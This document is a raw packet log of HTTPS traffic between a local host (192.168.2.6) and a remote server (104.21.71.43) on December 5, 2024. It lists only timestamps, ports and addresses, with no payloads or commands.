Dec 5, 2024 15:04:32.276675940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.286233902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.286250114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.286310911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.286315918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.286355972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.293251038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.293267965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.293334961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.293339014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.293370962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.431447983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.431471109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.431543112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.431551933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.431597948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.439220905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.439241886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.439295053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.439300060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.439340115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.446933985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.446960926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.447000027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.447020054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.447032928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.447058916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.453695059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.453730106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.453758955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.453778982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.453794003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.453814030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.462105989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.462131977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.462187052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.462205887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.462219000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.462246895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.468981028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.469006062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.469049931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.469055891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.469083071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.469099045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.478427887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.478449106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.478504896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.478528023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.478568077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.485970974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.485997915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.486053944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.486077070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.486119032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.847740889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.847765923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.847893000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.847928047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.847984076 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.848247051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.848262072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.848432064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.848439932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.848476887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.849169016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.849184036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.849241972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.849248886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.849287987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.849924088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.849940062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.849998951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.850007057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.850042105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.850199938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.850215912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.850259066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.850265026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.850296974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.851200104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.851219893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.851250887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.851255894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.851281881 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.851299047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.852072954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.852092981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.852134943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.852142096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.852174997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.853291988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.853307962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.853358984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.853367090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.853401899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.854371071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.854397058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.854448080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.854459047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.854496002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.855166912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855186939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855216980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.855221033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855246067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.855259895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.855390072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855405092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855456114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.855460882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.855494976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.856718063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.856736898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.856781960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.856790066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.856823921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.857666969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.857685089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.857732058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.857743979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.857780933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.858469009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.858486891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.858556986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.858572006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.858613968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.862807035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.862827063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.862879038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.862886906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.862922907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.870512962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.870542049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.870600939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:32.870610952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:32.870646954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.023001909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.023035049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.023114920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.023149967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.023191929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.027913094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.027930021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.028014898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.028038025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.028081894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.033744097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.033757925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.033828020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.033835888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.033870935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.039470911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.039510012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.039580107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.039587975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.039623022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.044969082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.044986963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.045053959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.045068979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.045105934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.050663948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.050682068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.050744057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.050762892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.050801992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.055969954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.056005001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.056035042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.056041002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.056066990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.056082964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.061680079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.061703920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.061767101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.061785936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.061830997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.214838982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.214865923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.215020895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.215040922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.215090990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.220621109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.220638990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.220710993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.220721006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.220758915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.226464987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.226484060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.226552010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.226573944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.226612091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.232702971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.232721090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.232784986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.232806921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.232847929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.239276886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.239293098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.239368916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.239376068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.239414930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.243415117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.243431091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.243493080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.243500948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.243540049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.248233080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.248250961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.248313904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.248320103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.248361111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.256382942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.256400108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.256473064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.256478071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.256514072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.408638000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.408663034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.408853054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.408875942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.408921957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.413593054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.413610935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.413722038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.413729906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.413767099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.419348001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.419363976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.419465065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.419472933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.419507980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.425237894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.425255060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.425436020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.425442934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.425476074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.430546045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.430565119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.430634975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.430643082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.430682898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.436336040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.436356068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.436434984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.436443090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.436475039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.441653967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.441677094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.441742897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.441751003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.441782951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.447249889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.447278976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.447344065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.447350025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.447385073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.600646019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.600670099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.600790024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.600812912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.600853920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.605696917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.605712891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.605777025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.605798006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.605843067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.611593962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.611608982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.611660957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.611665964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.611699104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.617229939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.617245913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.617300987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.617305994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.617335081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.622708082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.622724056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.622777939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.622786045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.622819901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.628550053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.628563881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.628618956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.628623962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.628657103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.633550882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.633567095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.633621931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.633625984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.633660078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.639305115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.639339924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.639365911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.639370918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.639394045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.639410973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.792608976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.792627096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.792723894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.792736053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.792777061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.798782110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.798806906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.798865080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.798870087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.798901081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.804080009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.804095030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.804137945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.804141998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.804173946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.809200048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.809216022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.809273958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.809278011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.809314966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.815402985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.815418005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.815484047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.815488100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.815531969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.820475101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.820493937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.820535898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.820539951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.820583105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.826443911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.826457977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.826518059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.826524019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.826558113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.831568003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.831583977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.831640959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.831645966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.831685066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.986253023 CET	443	49906	104.21.71.43	192.168.2.6
